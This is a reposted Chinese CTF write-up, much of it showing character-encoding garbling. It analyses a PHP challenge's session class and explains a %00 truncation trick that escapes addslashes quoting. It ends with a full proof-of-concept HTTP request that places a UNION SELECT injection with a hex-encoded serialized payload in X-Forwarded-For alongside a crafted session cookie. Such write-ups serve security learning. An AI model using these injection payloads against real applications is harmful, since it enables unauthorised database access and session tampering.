php5.5 反序列化利用工具_%00截断配合反序列化的奇妙利用
文章來源:安全客
原文鏈接:%00截?cái)嗯浜戏葱蛄谢钠婷罾?- 安全客,安全資訊平臺(tái)
前言
前段時(shí)間做了一個(gè)CTF題目,發(fā)現(xiàn)這道題目相當(dāng)?shù)木?#xff0c;主要是利用了%00的截?cái)鄟砝@過安全校驗(yàn),最終利用反序列化達(dá)成目的。
漏洞分析
可控點(diǎn)
整個(gè)代碼十分的簡單,就是猜數(shù)字的游戲,但是按照正常的邏輯是無法成功的,那么必然存在漏洞。
在config.php中:
foreach ($_GET as $key => $value ) {$_GET[$key] = daddslashes($value); } foreach ($_POST as $key => $value ) {$_POST[$key] = daddslashes($value); } foreach ($_COOKIE as $key => $value ) {$_COOKIE[$key] = daddslashes($value); } foreach ($_SERVER as $key => $value ) {$_SERVER[$key] = addslashes($value); } function daddslashes($string) {if(!get_magic_quotes_gpc()) {if(is_array($string)) {foreach($string as $key => $val) {$string[$key] = daddslashes($val);}} else {$string = addslashes($string);}}return $string; }對GET、POST、Cookie和SERVER都進(jìn)行了轉(zhuǎn)義。
分析session.class.php代碼:
class session {function __construct(&$db, $session_id='', $session_table = 'session', $session_name='SESSID'){$this->dbConn = $db;$this->session_name = $session_name;$this->session_table = $session_table;$this->_ip = $this->real_ip();// some other codeif ($session_id == '' && !empty($_COOKIE[$this->session_name])){$this->session_id = $_COOKIE[$this->session_name];}// some other codeif ($this->session_id){$this->load_session();}else{$this->gen_session_id();setcookie($this->session_name, $this->session_id . $this->gen_session_key($this->session_id));}}function real_ip(){static $realip = NULL;if ($realip !== NULL){return $realip;}if (isset($_SERVER)){if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$realip = $_SERVER['HTTP_X_FORWARDED_FOR'];}elseif (isset($_SERVER['HTTP_CLIENT_IP'])){$realip = $_SERVER['HTTP_CLIENT_IP'];}else{if (isset($_SERVER['REMOTE_ADDR'])){$realip = $_SERVER['REMOTE_ADDR'];}else{$realip = '0.0.0.0';}}}else{$realip = '0.0.0.0';}return $realip;} }其中,變量$this->_ip是由函數(shù)real_ip()得到,其實(shí)是從$_SERVER['HTTP_X_FORWARDED_FOR']等變量中取到的,意味著變量$_SERVER['HTTP_X_FORWARDED_FOR']是可控的。
變量$this->session_id是從變量$_COOKIE["SESSID"]中得到的,同樣是可控的。
所以目前看到這里,我們已經(jīng)知道了變量$this->_ip和變量$this->session_id都是我們可控的。
漏洞點(diǎn)
發(fā)現(xiàn)在初始化中存在如下代碼:
if ($this->session_id) {$this->load_session(); }如果存在$this->session_id,則調(diào)用load_session()函數(shù),跟蹤進(jìn)入到load_session()中,進(jìn)一步分析
function load_session() {$res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'");$session = $res->fetch_array();if (empty($session)){$this->insert_session();}else{$GLOBALS['_SESSION'] = unserialize($session['data']);} }可以發(fā)現(xiàn),在SQL語句中直接使用了$this->_ip,而這個(gè)$this->_ip是我們可控的,$this->session_id也是可控的,其次最后將數(shù)據(jù)取出來時(shí)使用了unserialize($session['data'])反序列化的操作。
根據(jù)直覺猜解,這個(gè)問題可能和SQL注入以及序列化漏洞有關(guān)。
漏洞利用
根據(jù)上面的猜測,漏洞可能和SQL注入以及序列化相關(guān)。但是漏洞利用均存在一定程度的問題。對于參數(shù)$this->_ip,雖然我們可控,但是還是被'包裹,同時(shí)之前也進(jìn)行了轉(zhuǎn)義,所以如果要利用必須要能夠逃逸出單引號。其次,對于序列化漏洞,需要從$session['data']中讀入數(shù)據(jù),所以要能夠利用序列化漏洞的話,則需要$session['data']的內(nèi)容是可控的。但是通過分析,對于數(shù)據(jù)庫中data表的數(shù)據(jù)我們是不可控的,所以序列化的利用也存在很大的問題了。
其實(shí)問題的本質(zhì)是在于SQL注入漏洞,如果能夠成功地進(jìn)行union注入,也就意味著$session['data']的內(nèi)容是可控的。那么問題就轉(zhuǎn)為了如何進(jìn)行注入了,注入的關(guān)鍵問題是在于逃脫引號。
分析SQL語句SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'
如果$this->_ip無法逃逸出單引號,那么可以考慮一下$this->session_id是否能夠逃逸出單引號。繼續(xù)分析代碼,
$tmp_session_id = substr($this->session_id, 0, 32); if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)) {$this->session_id = $tmp_session_id; }可以發(fā)現(xiàn)使用了substr()方法進(jìn)行了階段,那么是否能夠利用截?cái)嗟姆椒ǖ玫揭粋€(gè)呢?通過一個(gè)例子進(jìn)行說明:
$mystr = "c4ca4238a0b923820dcc509a6f75849'"; $mystr = addslashes($mystr); var_dump($mystr); // 結(jié)果為 c4ca4238a0b923820dcc509a6f75849' (length=33) var_dump(substr($mystr, 0, 32)); //結(jié)果為 c4ca4238a0b923820dcc509a6f75849 (length=32)說明通過截?cái)嗟姆绞奖A羰强尚械摹?/p>
解決了SQL注入的問題,接下來就需要解決反序列化的問題,序列化是字符串,但是由于之前使用了addslashes進(jìn)行轉(zhuǎn)義,即使能夠使用SQL注入也無法進(jìn)行反序列,此時(shí)需要可以采用十六進(jìn)制來解決這個(gè)問題了。
漏洞實(shí)施
在進(jìn)行實(shí)際的測試時(shí),我發(fā)現(xiàn)通過'會(huì)存在問題。當(dāng)我們設(shè)置SESSID=c4ca4238a0b923820dcc509a6f75849'eb2d9059時(shí),代碼運(yùn)行至:
$tmp_session_id = substr($this->session_id, 0, 32); if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)) {$this->session_id = $tmp_session_id; }其中的$tmp_session_id,截?cái)嘀笞優(yōu)閏4ca4238a0b923820dcc509a6f75849。此時(shí)計(jì)算:
$this->gen_session_key($tmp_session_id) // 得到 eb2d9059 substr($this->session_id, 32) // 得到 'eb2d9059可以看到多余的'被保留了,導(dǎo)致此處的判斷無法相等,這樣就存在問題。后來想到可以使用%00的方式得到
$mystr = "QYHuItTPcsD1yj4npiRWGvChx0FLBw6%00"; $mystr = urldecode($mystr); $mystr = addslashes($mystr); var_dump($mystr); // 得到 QYHuItTPcsD1yj4npiRWGvChx0FLBw6 (length=32)這樣多余的0就可以作為后面的校驗(yàn)值了。
當(dāng)我們設(shè)置SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457時(shí),運(yùn)行的結(jié)果如下:
這樣就完成了SQL注入的第一步了,下面就是構(gòu)造序列化的內(nèi)容,然后轉(zhuǎn)換為十六進(jìn)制。序列化的內(nèi)容十分的簡單,需要設(shè)置分?jǐn)?shù)大于100份即可,a:2:{s:4:"name";s:6:"hahaha";s:5:"score";s:3:"102";},轉(zhuǎn)換為十六進(jìn)制0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d。
至此,所有的問題都解決了,最后的PoC為:
GET URL HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457 X-Forwarded-For: /**/union select 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d # Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0注意設(shè)置Cookie和XXF。
總結(jié)
一般的截?cái)嗤ㄟ^是為了保留得到單引號,但是相較于常規(guī)的截?cái)嗍址?#xff0c;你會(huì)發(fā)現(xiàn)在本例中完全不適用,無法繞過關(guān)鍵的校驗(yàn)是$this->gen_session_key($tmp_session_id) == substr($this->session_id, 32),同時(shí)在繞過了這個(gè)校驗(yàn)之后還需要保留單引號,最終采用%00截?cái)嗤昝赖亟鉀Q了這個(gè)問題。
這是一道非常好的題目,雖然所有的考察點(diǎn)都知道,但是結(jié)合在一起確實(shí)如此的精妙,遇到了問題看來需要多想多思考,在安全這條路上還有很長的一段路要走。
總結(jié)
以上是生活随笔為你收集整理的php5.5 反序列化利用工具_%00截断配合反序列化的奇妙利用的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: sql入门经典第5版pdf网盘_如何学习
- 下一篇: python下载网页中的pdf文件_【P